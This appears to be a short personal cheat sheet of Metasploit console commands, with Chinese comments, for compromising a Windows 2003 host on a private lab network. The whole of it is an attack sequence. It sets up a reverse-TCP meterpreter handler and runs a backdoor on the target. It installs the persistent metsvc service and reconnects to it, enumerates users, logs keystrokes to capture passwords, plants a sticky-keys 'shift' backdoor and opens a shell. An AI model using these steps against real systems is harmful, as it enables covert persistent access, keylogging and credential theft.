>use exploit/multi/handler

>set payload windows/meterpreter/reverse_tcp

>show options

>set LHOST 192.168.48.133

>set LPORT 1111

>run

//在靶机上运行生成的后门

>run metsvc -A

>use exploit/multi/handler

>set payload windows/metsvc_bind_tcp

>set LPORT 31337

>set RHOST 192.168.48.130

>exploit

>getuid

//需要有服务器的程序才能运行 win2003

>net user

//用键盘记录密码的后门比较安全

>keyscan_start

>keyscan_dump

//上传shift后门，覆盖原来热键

>shell